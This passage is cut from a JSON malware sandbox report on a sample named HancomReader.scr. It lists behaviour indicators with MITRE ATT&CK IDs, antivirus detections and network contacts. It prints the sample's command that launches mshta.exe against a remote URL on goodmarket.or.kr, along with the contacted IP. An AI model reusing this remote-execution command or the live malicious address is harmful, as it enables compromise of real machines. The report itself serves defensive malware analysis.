\"C:\\Windows\\AppPatch\\sysmain.sdb\"\n \".exe\" touched file \"C:\\Windows\\System32\\en\\mshta.exe.mui\"\n \"mshta.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"mshta.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \"mshta.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\"\n \"mshta.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\"\n \"mshta.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"\n \"mshta.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \"mshta.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\"\n \"mshta.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$33","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\".exe\" trying to access non-existent file \"C:\\Windows\\System32\\en\\mshta.exe.mui\"\n \".exe\" trying to access non-existent file \"C:\\Windows\\System32\\en\\MSHTA.EXE.MUI\"\n \"mshta.exe\" trying to access non-existent file \"C:\\Windows\\System32\\mshta.exe.Local\\\"\n \"mshta.exe\" trying to access non-existent file \"C:\\Windows\\System32\\MSHTA.EXE.LOCAL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"mshta.exe\" called \"HttpOpenRequestW\" with parameter HTTP method:\"GET\" object: /member/check/dat/1.html\" - (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"mshta.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"mshta.exe\" called \"InternetOpenA with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\" (UID: 00000000-00003372)\n \"mshta.exe\" called \"InternetOpenW with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;\" (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /member/check/dat/1.html\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00003372-00000C26-27454480\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00003372-00000C26-27456261\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://goodmarket.or.kr/member/check/dat/1.html\"\n Heuristic match: \"goodmarket.or.kr\"\n Heuristic match: \"cero.rs\"\n Heuristic match: \"chcp.com\"\n Heuristic match: \"SE;.WS\"\n Heuristic match: \"bdaplgin.ax\"\n Heuristic match: \"format.com\"\n Heuristic match: \"oflc-nz.rs\"\n Heuristic match: \"pegi-fi.rs\"\n Heuristic match: \"pegi-pt.rs\"\n Heuristic match: \"pegibbfc.rs\"\n Heuristic match: \"psisrndr.ax\"\n Heuristic match: \"tree.com\"\n Heuristic match: \"usk.rs\"\n Heuristic match: \"vbicodec.ax\"\n Heuristic match: \"vbisurf.ax\"\n Heuristic match: \"vidcap.ax\"\n Heuristic match: \"web.rs\"\n Heuristic match: \"win.com\"\n Heuristic match: \"wstpager.ax\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$34","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"mshta.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"151062383\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"mshta.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"369164862\"\n \"cx\": \"761\"\n \"cy\": \"30\"}\n \"mshta.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"151062383\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"mshta.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"369164862\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"mshta.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"151062383\"\n \"cx\": \"132\"\n \"cy\": \"30\"}\n \"mshta.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"419496511\"\n \"cx\": \"761\"\n \"cy\": \"30\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"mshta.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"mshta.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist.exe\" [Source: 00000000-00003992.00000000.66619.0055A000.00000004.mdmp\n 00000000-00003992.00000001.66972.0055A000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"HancomReader.bin\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"HancomReader.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"47456,3496,3024,,RtlGetVersion,NTDLL.dll,\"252:02:52.000\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003992.00000000.66619.0055A000.00000004.mdmp, 00000000-00003992.00000001.66972.0055A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"HancomReader.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"HancomReader.bin\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"HancomReader.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"HancomReader.bin\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"HancomReader.bin\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: HancomReader.bin]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\HancomReader.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003992.00000000.66619.00500000.00000004.mdmp, 00000000-00003992.00000001.66972.00500000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"HancomReader.bin\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"HancomReader.bin\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"HancomReader.bin\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"HancomReader.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$37","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"services.exe,spoolsv.exe,svchost.exe,wininit.exe,winlogon.exe\" (Source: \"00000000-00003992.00000000.66619.0055A000.00000004.mdmp, 00000000-00003992.00000001.66972.0055A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"HancomReader.bin\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"HancomReader.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"pstorec.dll\" (Indicator: \"pstorec.dll\"; Source: \"00000000-00003992.00000000.66619.00555000.00000004.mdmp, 00000000-00003992.00000001.66972.00555000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to find device information","description":"\"mshta.exe\" called \"SetupDiGetClassDevsW\" with parameters {\"ClassGuid\": \"8051a01c99a60a459a0cde4fbe3ddd89\"\n \"Flags\": \"18\"}","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-193","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.DLL at 00000000-00003992-44969-97-0037262D\n GetModuleHandleW@KERNEL32.DLL at 00000000-00003992-44969-21-003723B7\n GetModuleHandleW@KERNEL32.DLL at 00000000-00003992-44969-44-00371639","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.DLL at 00000000-00003992-44969-94-003720A3\n GetStartupInfoW@KERNEL32.DLL at 00000000-00003992-44969-1-0037122D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"mshta.exe\" (Thread ID: 3780) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"46/70 Antivirus vendors marked sample as malicious (65% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"General","name":"Contains ability to execute program","description":"WinExec@KERNEL32.DLL at 00000000-00003992-44969-46-00371000","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":7,"id":"stream-106","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"Process \"mshta.exe\" with commandline \"http://goodmarket.or.kr/member/check/dat/1.html\" (UID: 00000000-00003372)","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 222.239.251.229 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n WinExec\n UnhandledExceptionFilter\n GetStartupInfoW\n GetCommandLineA\n GetProcAddress\n LoadLibraryW\n WriteFile\n GetModuleHandleW\n TerminateProcess\n CreateFileW\n Sleep\n GetTickCount","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"mshta.exe\" wrote bytes \"75dca775273ea77551c1a575ee9ca5759498a5750fb3ab751099a5759097a5750000000042c65776152e5776c0d957761bf75776c1085976e0c2577636da577630c65776d5d9577686c4577600000000\" to virtual address \"0x6EC1E000\" (part of module \"MSLS31.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Detected mshta.exe process execution","description":"Process \"mshta.exe\" with commandline \"http://goodmarket.or.kr/member/check/dat/1.html\" (UID: 00000000-00003372)","origin":"Monitored Target","mitre_attack_id":"T1218.005","relevance":10,"id":"target-113","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"46/70 Antivirus vendors marked sample as malicious (65% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to run the specified application","description":"\".exe\" called \"WinExec\" with parameter %WINDIR%\\System32\\mshta.exe http://goodmarket.or.kr/member/check/dat/1.html (UID: 00000000-00003992)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-120","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\".exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 140)\n \".exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 140)\n \".exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 140)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Contains ability to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Detected mshta.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":84,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":8,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["maldoc"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"64f19c86a84e48d9cd0b86a2","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["KOR"],"submit_name":"HancomReader.scr","analysis_start_time":"2023-09-01T08:10:46+00:00","indicators_count":{"informative":118,"suspicious":34,"malicious":6},"tags":["Network Traffic"],"is_in_unified_schema":true},{"id":"64364e705b9ee24fb00ecd20","environment_id":200,"environment_description":"Android Static Analysis","state":"ERROR","error_type":"File \"HancomReader.scr\" was detected as \"exe\", this format is not supported on ANDROID","verdict":"undetected","submit_name":"HancomReader.scr","analysis_start_time":"2023-04-12T06:23:44+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false}],"network_activity":{"contacted_hosts":[{"address":"222.239.251.229","port":80,"protocol":"TCP","country":"Korea, Republic 